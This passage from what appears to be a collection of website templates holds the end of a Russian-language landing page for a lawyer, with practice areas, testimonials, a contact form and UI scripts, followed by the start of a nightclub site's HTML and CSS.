28 31.5 33.5 31.5 33.5\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"round\" />\n                    <ellipse cx=\"24\" cy=\"24\" rx=\"18\" ry=\"10\" stroke=\"currentColor\" stroke-width=\"1.3\" />\n                </svg>\n                <div class=\"practice-name\">Международное право</div>\n                <p class=\"practice-desc\">Трансграничные споры, защита активов за&nbsp;рубежом, санкционный комплаенс.</p>\n                <button class=\"practice-arrow\" data-modal=\"4\">Подробнее <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                        <path d=\"M2 7h10M8 3l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.1\" stroke-linecap=\"round\" />\n                    </svg></button>\n            </div>\n\n            <div class=\"practice-card\">\n                <div class=\"practice-num\">05</div>\n                <svg class=\"practice-icon\" viewBox=\"0 0 48 48\" fill=\"none\">\n                    <path d=\"M10 38L24 8L38 38\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                    <path d=\"M14 30h20\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                    <circle cx=\"24\" cy=\"42\" r=\"2\" fill=\"currentColor\" />\n                </svg>\n                <div class=\"practice-name\">Налоговые споры</div>\n                <p class=\"practice-desc\">Обжалование решений налоговых органов, защита при&nbsp;проверках, оптимизация налоговой нагрузки.</p>\n                <button class=\"practice-arrow\" data-modal=\"5\">Подробнее <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                        <path d=\"M2 7h10M8 3l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.1\" stroke-linecap=\"round\" />\n                    </svg></button>\n            </div>\n\n            <div class=\"practice-card\">\n                <div class=\"practice-num\">06</div>\n                <svg class=\"practice-icon\" viewBox=\"0 0 48 48\" fill=\"none\">\n                    <rect x=\"6\" y=\"18\" width=\"36\" height=\"24\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                    <path d=\"M16 18V14C16 9.6 19.6 6 24 6C28.4 6 32 9.6 32 14V18\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                    <circle cx=\"24\" cy=\"30\" r=\"3\" stroke=\"currentColor\" stroke-width=\"1.4\" />\n                    <path d=\"M24 33v4\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\" />\n                </svg>\n                <div class=\"practice-name\">Интеллектуальная собственность</div>\n                <p class=\"practice-desc\">Защита товарных знаков, авторских прав, патентные споры и&nbsp;регистрация IP-активов.</p>\n                <button class=\"practice-arrow\" data-modal=\"6\">Подробнее <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\">\n                        <path d=\"M2 7h10M8 3l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.1\" stroke-linecap=\"round\" />\n                    </svg></button>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── PROCESS ─── -->\n    <section id=\"process\">\n        <div style=\"position:relative;z-index:1\">\n            <p class=\"section-label reveal\">Как я работаю</p>\n            <h2 class=\"section-title reveal\">Прозрачный <em style=\"color:var(--gold-light)\">процесс</em></h2>\n        </div>\n\n        <div class=\"process-grid\">\n            <div class=\"process-step reveal\">\n                <span class=\"step-num\">01</span>\n                <div class=\"step-name\">Первичная консультация</div>\n                <p class=\"step-desc\">Бесплатная встреча для оценки ситуации, анализа перспектив дела и&nbsp;определения стратегии.</p>\n            </div>\n            <div class=\"process-step reveal reveal-delay-1\">\n                <span class=\"step-num\">02</span>\n                <div class=\"step-name\">Анализ и стратегия</div>\n                <p class=\"step-desc\">Детальное изучение документов, формирование правовой позиции и&nbsp;плана действий.</p>\n            </div>\n            <div class=\"process-step reveal reveal-delay-2\">\n                <span class=\"step-num\">03</span>\n                <div class=\"step-name\">Активная защита</div>\n                <p class=\"step-desc\">Реализация выбранной стратегии: переговоры, судебное представительство, досудебное урегулирование.</p>\n            </div>\n            <div class=\"process-step reveal reveal-delay-3\">\n                <span class=\"step-num\">04</span>\n                <div class=\"step-name\">Результат</div>\n                <p class=\"step-desc\">Достижение цели клиента. Полное сопровождение до&nbsp;исполнения решения.</p>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── TESTIMONIALS ─── -->\n    <section id=\"testimonials\">\n        <p class=\"section-label reveal\">Отзывы клиентов</p>\n        <h2 class=\"section-title reveal\">Говорят те, <em>кому помогли</em></h2>\n\n        <div class=\"testimonials-grid\">\n            <div class=\"testimonial-card reveal\">\n                <div class=\"testimonial-stars\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                </div>\n                <p class=\"testimonial-text\">Владимир Алексеевич выиграл корпоративный спор, который длился три года. Когда другие прогнозировали поражение, он нашёл решение там, где его никто не&nbsp;ожидал.</p>\n                <div class=\"testimonial-author\">\n                    <div class=\"author-avatar\">АК</div>\n                    <div>\n                        <div class=\"author-name\">Алексей Ковалёв</div>\n                        <div class=\"author-role\">Генеральный директор, «Профтех Групп»</div>\n                    </div>\n                </div>\n            </div>\n\n            <div class=\"testimonial-card reveal reveal-delay-1\">\n                <div class=\"testimonial-stars\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                </div>\n                <p class=\"testimonial-text\">Профессионализм высочайшего уровня. Уголовное дело было прекращено ещё на&nbsp;стадии следствия. Я&nbsp;безмерно благодарна за&nbsp;спокойствие и&nbsp;результат.</p>\n                <div class=\"testimonial-author\">\n                    <div class=\"author-avatar\">НВ</div>\n                    <div>\n                        <div class=\"author-name\">Наталья Васильева</div>\n                        <div class=\"author-role\">Предприниматель</div>\n                    </div>\n                </div>\n            </div>\n\n            <div class=\"testimonial-card reveal reveal-delay-2\">\n                <div class=\"testimonial-stars\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"currentColor\">\n                        <path d=\"M7 1l1.5 3.5L12 5l-2.5 2.5.6 3.5L7 9.5 3.9 11l.6-3.5L2 5l3.5-.5z\" />\n                    </svg>\n                </div>\n                <p class=\"testimonial-text\">Защитил интересы нашей компании в&nbsp;крупном налоговом споре с&nbsp;суммой претензий более 80&nbsp;млн рублей. Итог — полная победа в&nbsp;апелляции.</p>\n                <div class=\"testimonial-author\">\n                    <div class=\"author-avatar\">ДМ</div>\n                    <div>\n                        <div class=\"author-name\">Дмитрий Морозов</div>\n                        <div class=\"author-role\">CFO, «Логистик Плюс»</div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ─── CONTACT ─── -->\n    <section id=\"contact\">\n        <div class=\"contact-info\">\n            <p class=\"section-label reveal\">Контакт</p>\n            <h2 class=\"section-title reveal\">Начнём <em>разговор</em></h2>\n            <p class=\"contact-desc reveal\">\n                Первичная консультация — бесплатно.\n                Расскажите о&nbsp;вашей ситуации,\n                и&nbsp;я&nbsp;предложу оптимальный путь её&nbsp;решения.\n            </p>\n            <div class=\"contact-items reveal\">\n                <div class=\"contact-item\">\n                    <div class=\"contact-icon\">\n                        <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\">\n                            <path d=\"M3 3h12v12H3zM3 7h12M7 7v8\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n                        </svg>\n                    </div>\n                    <div>\n                        <div class=\"contact-item-label\">Адрес</div>\n                        <span class=\"contact-item-val\">г. Тандем, ул. Лендинговая, д. 1</span>\n                    </div>\n                </div>\n                <div class=\"contact-item\">\n                    <div class=\"contact-icon\">\n                        <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\">\n                            <path d=\"M2.5 4.5C2.5 13.5 9 16.5 15.5 14.5L14 9.5l-3 1-2-4 2.5-2L8.5 2 5.5 4l-3-1.5z\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linejoin=\"round\" />\n                        </svg>\n                    </div>\n                    <div>\n                        <div class=\"contact-item-label\">Телефон</div>\n                        <a href=\"tel:+7XXXXXXXXXX\" class=\"contact-item-val\">+7 (XXX) XXX-XX-XX</a>\n                    </div>\n                </div>\n                <div class=\"contact-item\">\n                    <div class=\"contact-icon\">\n                        <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\">\n                            <rect x=\"2\" y=\"4\" width=\"14\" height=\"10\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                            <path d=\"M2 5l7 5 7-5\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n                        </svg>\n                    </div>\n                    <div>\n                        <div class=\"contact-item-label\">Email</div>\n                        <a href=\"mailto:tandemsites@example.com\" class=\"contact-item-val\">tandemsites@example.com</a>\n                    </div>\n                </div>\n                <div class=\"contact-item\">\n                    <div class=\"contact-icon\">\n                        <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\">\n                            <rect x=\"2\" y=\"2\" width=\"14\" height=\"14\" rx=\"4\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                            <circle cx=\"9\" cy=\"9\" r=\"3\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                            <circle cx=\"13.5\" cy=\"4.5\" r=\"1\" fill=\"currentColor\" />\n                        </svg>\n                    </div>\n                    <div>\n                        <div class=\"contact-item-label\">Telegram / Instagram</div>\n                        <span class=\"contact-item-val\">@lebedev_law</span>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n        <form class=\"contact-form reveal\" onsubmit=\"handleSubmit(event)\">\n            <div class=\"form-row\">\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Имя</label>\n                    <input type=\"text\" class=\"form-input\" placeholder=\"Иван Иванов\" required>\n                </div>\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Телефон</label>\n                    <input type=\"tel\" class=\"form-input\" placeholder=\"+7 (___) ___-__-__\">\n                </div>\n            </div>\n            <div class=\"form-group\">\n                <label class=\"form-label\">Email</label>\n                <input type=\"email\" class=\"form-input\" placeholder=\"ivan@mail.ru\">\n            </div>\n            <div class=\"form-group\">\n                <label class=\"form-label\">Направление</label>\n                <select class=\"form-input\" style=\"cursor:pointer;appearance:none;background-image:url(\\\" data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='8' fill='none' %3E%3Cpath d='M1 1l5 5 5-5' stroke='%23C9A84C' stroke-width='1.2' stroke-linecap='round' /%3E%3C/svg%3E\\\");background-repeat:no-repeat;background-position:right 1rem center\">\n                    <option value=\"\">Выберите направление</option>\n                    <option>Уголовная защита</option>\n                    <option>Корпоративное право</option>\n                    <option>Арбитраж</option>\n                    <option>Международное право</option>\n                    <option>Налоговые споры</option>\n                    <option>Интеллектуальная собственность</option>\n                    <option>Другое</option>\n                </select>\n            </div>\n            <div class=\"form-group\">\n                <label class=\"form-label\">Опишите ситуацию</label>\n                <textarea class=\"form-textarea\" placeholder=\"Кратко опишите вашу ситуацию и желаемый результат...\"></textarea>\n            </div>\n            <button type=\"submit\" class=\"form-submit\" id=\"submitBtn\">\n                <span>Отправить заявку</span>\n                <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                    <path d=\"M3 8h10M9 4l4 4-4 4\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"round\" />\n                </svg>\n            </button>\n            <p id=\"formSuccess\" style=\"display:none;font-size:.82rem;color:var(--gold);margin-top:.5rem;letter-spacing:.05em\">\n                ✓ Заявка отправлена. Свяжемся с вами в течение часа.\n            </p>\n        </form>\n    </section>\n\n    <!-- ─── FOOTER ─── -->\n    <!-- ─── PRACTICE MODAL ─── -->\n    <div class=\"pmodal-overlay\" id=\"practiceModal\" aria-modal=\"true\" role=\"dialog\" aria-hidden=\"true\">\n        <div class=\"pmodal-box\">\n            <button class=\"pmodal-close\" id=\"pmodalClose\" aria-label=\"Закрыть\">\n                <svg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\">\n                    <path d=\"M3 3l12 12M15 3L3 15\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\" />\n                </svg>\n            </button>\n            <div class=\"pmodal-num\" id=\"pmodalNum\"></div>\n            <h2 class=\"pmodal-title\" id=\"pmodalTitle\"></h2>\n            <div class=\"pmodal-line\"></div>\n            <p class=\"pmodal-intro\" id=\"pmodalIntro\"></p>\n            <ul class=\"pmodal-list\" id=\"pmodalList\"></ul>\n            <a href=\"#contact\" class=\"btn-primary pmodal-cta\" id=\"pmodalCta\">Записаться на консультацию</a>\n        </div>\n    </div>\n\n    <footer>\n        <div class=\"footer-logo\">Владимир Лебедев<span> · </span>Адвокат</div>\n        <p>© 2026 · Все права защищены</p>\n    </footer>\n\n    <script>\n        /* ── cursor ── */\n        const cur = document.getElementById('cursor');\n        const ring = document.getElementById('cursorRing');\n        if (window.matchMedia('(pointer: fine)').matches) {\n            document.addEventListener('mousemove', e => {\n                const x = e.clientX, y = e.clientY;\n                cur.style.left = x + 'px'; cur.style.top = y + 'px';\n                ring.style.left = x + 'px'; ring.style.top = y + 'px';\n            });\n            document.querySelectorAll('a,button,.practice-card,.cert-card,.testimonial-card').forEach(el => {\n                el.addEventListener('mouseenter', () => { cur.classList.add('hovered'); ring.classList.add('hovered'); });\n                el.addEventListener('mouseleave', () => { cur.classList.remove('hovered'); ring.classList.remove('hovered'); });\n            });\n        }\n\n        /* ── navbar scroll ── */\n        const nav = document.getElementById('navbar');\n        window.addEventListener('scroll', () => { nav.classList.toggle('scrolled', window.scrollY > 60); });\n\n        /* ── reveal on scroll ── */\n        const observer = new IntersectionObserver(entries => {\n            entries.forEach(e => { if (e.isIntersecting) { e.target.classList.add('visible'); } });\n        }, { threshold: .12 });\n        document.querySelectorAll('.reveal').forEach(el => observer.observe(el));\n\n        /* ── counter animation ── */\n        function animCount(el, target, suffix = '') {\n            const dur = 1800;\n            const start = performance.now();\n            function step(now) {\n                const t = Math.min((now - start) / dur, 1);\n                const ease = 1 - Math.pow(1 - t, 3);\n                el.textContent = Math.round(ease * target) + suffix;\n                if (t < 1) requestAnimationFrame(step);\n            }\n            requestAnimationFrame(step);\n        }\n        const statsObs = new IntersectionObserver(entries => {\n            entries.forEach(e => {\n                if (e.isIntersecting) {\n                    const el = e.target;\n                    const val = parseInt(el.dataset.count);\n                    const isPercent = el.parentElement.querySelector('.stat-label').textContent.includes('%');\n                    animCount(el, val, isPercent ? '%' : '+');\n                    statsObs.unobserve(el);\n                }\n            });\n        }, { threshold: .5 });\n        document.querySelectorAll('[data-count]').forEach(el => statsObs.observe(el));\n\n        /* ── hero parallax ── */\n        const photoWrap = document.querySelector('.photo-circle-wrap');\n        window.addEventListener('scroll', () => {\n            if (!photoWrap) return;\n            if (window.innerWidth < 900) return; /* на мобилке parallax отключён */\n            const y = window.scrollY;\n            photoWrap.style.transform = `translateY(${y * .15}px)`;\n        }, { passive: true });\n\n        /* ── form ── */\n        function handleSubmit(e) {\n            e.preventDefault();\n            const btn = document.getElementById('submitBtn');\n            btn.disabled = true;\n            btn.style.opacity = '.6';\n            setTimeout(() => {\n                btn.textContent = 'Отправлено ✓';\n                document.getElementById('formSuccess').style.display = 'block';\n                btn.style.background = 'var(--gold-dark)';\n            }, 800);\n        }\n\n        /* ── practice modal ── */\n        const MODAL_DATA = {\n            1: {\n                num: '01', title: 'Уголовная защита',\n                intro: 'Полный цикл правовой защиты по уголовным делам — от возбуждения дела до вступления приговора в законную силу.',\n                items: [\n                    'Защита на стадии доследственной проверки и предварительного следствия',\n                    'Участие в допросах, обысках и иных следственных действиях',\n                    'Ходатайства об изменении, смягчении и отмене меры пресечения',\n                    'Представление интересов в суде первой инстанции',\n                    'Обжалование приговоров в апелляции, кассации и надзорной инстанции',\n                    'Специализация: экономические составы, коррупция, предпринимательские риски',\n                ]\n            },\n            2: {\n                num: '02', title: 'Корпоративное право',\n                intro: 'Комплексное юридическое сопровождение бизнеса — от структурирования сделок до разрешения острых корпоративных конфликтов.',\n                items: [\n                    'Due diligence и структурирование сделок слияния и поглощения (M&A)',\n                    'Корпоративные конфликты: оспаривание сделок, взыскание убытков с менеджмента',\n                    'Защита интересов миноритарных акционеров и участников ООО',\n                    'Корпоративная реструктуризация и ликвидация компаний',\n                    'Разработка акционерных соглашений и корпоративных договоров',\n                    'Сопровождение инвестиционных сделок и венчурного финансирования',\n                ]\n            },\n            3: {\n                num: '03', title: 'Арбитраж',\n                intro: 'Эффективное разрешение коммерческих споров в российских и международных арбитражных институциях.',\n                items: [\n                    'Представление в МКАС, ICC, LCIA, SCC и других арбитражных институциях',\n                    'Споры в арбитражных судах РФ всех инстанций — вплоть до ВС РФ',\n                    'Ходатайства об обеспечительных мерах в России и за рубежом',\n                    'Признание и принудительное исполнение иностранных арбитражных решений',\n                    'Медиация и структурированное досудебное урегулирование',\n                    'Инвестиционный арбитраж и споры в рамках ДИД',\n                ]\n            },\n            4: {\n                num: '04', title: 'Международное право',\n                intro: 'Правовая поддержка в трансграничных ситуациях: защита активов, санкционный комплаенс и работа с иностранными юрисдикциями.',\n                items: [\n                    'Трансграничные коммерческие споры и конфликты интересов',\n                    'Защита активов и имущества за рубежом от обращения взыскания',\n                    'Санкционный комплаенс: анализ рисков и выработка правовой позиции',\n                    'Взаимодействие с иностранными юрисдикциями: ОАЭ, Кипр, ЕС, Великобритания',\n                    'Сделки с иностранным элементом: структурирование и договорная работа',\n                    'Валютный контроль и международные расчёты в правовом поле',\n                ]\n            },\n            5: {\n                num: '05', title: 'Налоговые споры',\n                intro: 'Защита бизнеса при налоговых проверках и обжалование решений ФНС — от досудебной стадии до кассации.',\n                items: [\n                    'Обжалование решений налоговых органов в досудебном порядке (апелляция в ФНС)',\n                    'Судебное оспаривание доначислений: НДС, налог на прибыль, НДФЛ',\n                    'Защита при выездных и камеральных налоговых проверках',\n                    'Споры о трансфертном ценообразовании и тонкой капитализации',\n                    'Налоговое планирование в рамках действующего законодательства',\n                    'Уголовно-правовые риски налоговых нарушений: профилактика и защита',\n                ]\n            },\n            6: {\n                num: '06', title: 'Интеллектуальная собственность',\n                intro: 'Регистрация, защита и монетизация результатов интеллектуальной деятельности в России и за рубежом.',\n                items: [\n                    'Регистрация товарных знаков в Роспатенте и по мадридской системе ВОИС',\n                    'Судебная защита авторских и смежных прав, взыскание компенсации',\n                    'Патентные споры: оспаривание, подтверждение законности и защита',\n                    'Антимонопольные дела в сфере IP: пресечение недобросовестной конкуренции',\n                    'Лицензионные договоры, франшизы и договоры об отчуждении прав',\n                    'IP due diligence при инвестиционных сделках и M&A',\n                ]\n            }\n        };\n\n        const pOverlay = document.getElementById('practiceModal');\n        const pClose = document.getElementById('pmodalClose');\n\n        function openModal(id) {\n            const d = MODAL_DATA[id];\n            if (!d) return;\n            document.getElementById('pmodalNum').textContent = d.num;\n            document.getElementById('pmodalTitle').textContent = d.title;\n            document.getElementById('pmodalIntro').textContent = d.intro;\n            const ul = document.getElementById('pmodalList');\n            ul.innerHTML = '';\n            d.items.forEach(item => {\n                const li = document.createElement('li');\n                li.textContent = item;\n                ul.appendChild(li);\n            });\n            pOverlay.setAttribute('aria-hidden', 'false');\n            pOverlay.classList.add('active');\n            document.body.style.overflow = 'hidden';\n        }\n\n        function closeModal() {\n            pOverlay.classList.remove('active');\n            pOverlay.setAttribute('aria-hidden', 'true');\n            document.body.style.overflow = '';\n        }\n\n        document.querySelectorAll('.practice-arrow[data-modal]').forEach(btn => {\n            btn.addEventListener('click', e => {\n                e.stopPropagation();\n                openModal(+btn.dataset.modal);\n            });\n        });\n\n        document.querySelectorAll('.practice-card').forEach(card => {\n            card.addEventListener('click', () => {\n                const btn = card.querySelector('.practice-arrow[data-modal]');\n                if (btn) openModal(+btn.dataset.modal);\n            });\n        });\n\n        pClose.addEventListener('click', closeModal);\n        pOverlay.addEventListener('click', e => { if (e.target === pOverlay) closeModal(); });\n        document.addEventListener('keydown', e => { if (e.key === 'Escape') closeModal(); });\n\n        document.getElementById('pmodalCta').addEventListener('click', closeModal);\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-nightclub/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <title>МОСКВА — Ночной Клуб</title>\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link href=\"https://fonts.googleapis.com/css2?family=Bebas+Neue&family=Barlow+Condensed:ital,wght@1,900&family=Inter:wght@300;400;500;700;900&display=swap\" rel=\"stylesheet\" />\n    <style>\n        *,\n        *::before,\n        *::after {\n            margin: 0;\n            padding: 0;\n            box-sizing: border-box;\n        }\n\n        :root {\n            --bg: #04040c;\n            --bg2: #08081a;\n            --pink: #ff1564;\n            --pur: #8b2de8;\n            --cyan: #00e5ff;\n            --w: #ffffff;\n            --dim: rgba(255, 255, 255, 0.4);\n            --ln: rgba(255, 255, 255, 0.055);\n            --gp: 0 0 22px rgba(255, 21, 100, 0.7), 0 0 70px rgba(255, 21, 100, 0.25);\n            --gpr: 0 0 18px rgba(139, 45, 232, 0.6), 0 0 50px rgba(139, 45, 232, 0.2);\n        }\n\n        html {\n            scroll-behavior: smooth;\n        }\n\n        body {\n            background: var(--bg);\n            color: var(--w);\n            font-family: 'Inter', sans-serif;\n            overflow-x: hidden;\n            -webkit-font-smoothing: antialiased;\n        }\n\n        ::selection {\n            background: var(--pink);\n            color: #fff;\n        }\n\n        img {\n            display: block;\n            width: 100%;\n            max-width: 100%;\n        }\n\n        a {\n            color: inherit;\n            text-decoration: none;\n        }\n\n        ::-webkit-scrollbar {\n            width: 3px;\n        }\n\n        ::-webkit-scrollbar-track {\n            background: var(--bg);\n        }\n\n        ::-webkit-scrollbar-thumb {\n            background: var(--pink);\n        }\n\n        /* grain overlay */\n        body::after {\n            content: '';\n            position: fixed;\n            inset: 0;\n            z-index: 997;\n            pointer-events: none;\n            background: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='300' height='300'%3E%3Cfilter id='g'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.75' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='300' height='300' filter='url(%23g)'/%3E%3C/svg%3E\");\n            opacity: 0.035;\n        }\n\n        /* ──────────── NAV ──────────── */\n        #nav {\n            position: fixed;\n            inset: 0 0 auto;\n            z-index: 500;\n            height: 60px;\n            padding: 0 48px;\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            transition: background .3s, border-color .3s;\n            border-bottom: 1px solid transparent;\n        }\n\n        #nav.scrolled {\n            background: rgba(4, 4, 12, 0.92);\n            backdrop-filter: blur(24px) saturate(160%);\n            -webkit-backdrop-filter: blur(24px) saturate(160%);\n            border-bottom-color: var(--ln);\n        }\n\n        .n-logo {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 23px;\n            letter-spacing: 5px;\n        }\n\n        .n-logo b {\n            color: var(--pink);\n            font-weight: 400;\n            text-shadow: var(--gp);\n        }\n\n        .n-ul {\n            display: flex;\n            align-items: center;\n            gap: 36px;\n            list-style: none;\n        }\n\n        .n-ul a {\n            font-size: 11px;\n            font-weight: 600;\n            letter-spacing: 2.5px;\n            text-transform: uppercase;\n            color: var(--dim);\n            transition: color .2s;\n            position: relative;\n        }\n\n        .n-ul a::after {\n            content: '';\n            position: absolute;\n            bottom: -4px;\n            left: 0;\n            right: 0;\n            height: 1px;\n            background: var(--pink);\n            transform: scaleX(0);\n            transform-origin: left;\n            transition: transform .3s;\n        }\n\n        .n-ul a:hover {\n            color: var(--w);\n        }\n\n        .n-ul a:hover::after {\n            transform: scaleX(1);\n        }\n\n        .n-tel {\n            font-size: 13px;\n            font-weight: 700;\n            padding: 8px 20px;\n            border-radius: 2px;\n            border: 1px solid rgba(255, 21, 100, 0.45);\n            transition: border-color .3s, box-shadow .3s;\n        }\n\n        .n-tel:hover {\n            border-color: var(--pink);\n            box-shadow: var(--gp);\n        }\n\n        .burg {\n            display: none;\n            flex-direction: column;\n            gap: 5px;\n            background: none;\n            border: none;\n            cursor: pointer;\n            padding: 4px;\n        }\n\n        .burg span {\n            display: block;\n            width: 24px;\n            height: 2px;\n            background: var(--w);\n            border-radius: 1px;\n            transition: transform .3s, opacity .3s;\n        }\n\n        .burg.open span:nth-child(1) {\n            transform: rotate(45deg) translate(5px, 5px);\n        }\n\n        .burg.open span:nth-child(2) {\n            opacity: 0;\n        }\n\n        .burg.open span:nth-child(3) {\n            transform: rotate(-45deg) translate(5px, -5px);\n        }\n\n        /* ──────────── HERO ──────────── */\n        #hero {\n            position: relative;\n            height: 100vh;\n            min-height: 620px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            overflow: hidden;\n        }\n\n        .h-photo {\n            position: absolute;\n            inset: 0;\n            background: url('1.png') center 30% / cover no-repeat;\n            transform: scale(1.14);\n            transition: transform 12s ease;\n            will-change: transform;\n            filter: blur(3px) brightness(0.48);\n        }\n\n        #hero.loaded .h-photo {\n            transform: scale(1.06);\n        }\n\n        .h-photo::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background:\n                linear-gradient(180deg,\n                    rgba(4, 4, 12, .5) 0%,\n                    rgba(4, 4, 12, .12) 30%,\n                    rgba(4, 4, 12, .18) 60%,\n                    rgba(4, 4, 12, .82) 88%,\n                    var(--bg) 100%),\n                radial-gradient(ellipse 80% 60% at 50% 50%, rgba(255, 21, 100, .14) 0%, transparent 70%);\n        }\n\n        /* сканлайны */\n        .h-scan {\n            position: absolute;\n            inset: 0;\n            z-index: 1;\n            pointer-events: none;\n            background: repeating-linear-gradient(0deg,\n                    transparent 0, transparent 3px,\n                    rgba(0, 0, 0, .06) 3px, rgba(0, 0, 0, .06) 4px);\n        }\n\n        /* световые лучи */\n        .h-beams {\n            position: absolute;\n            inset: 0;\n            z-index: 1;\n            pointer-events: none;\n            overflow: hidden;\n        }\n\n        .h-beams::before {\n            content: '';\n            position: absolute;\n            bottom: 0;\n            left: 50%;\n            transform: translateX(-50%);\n            width: 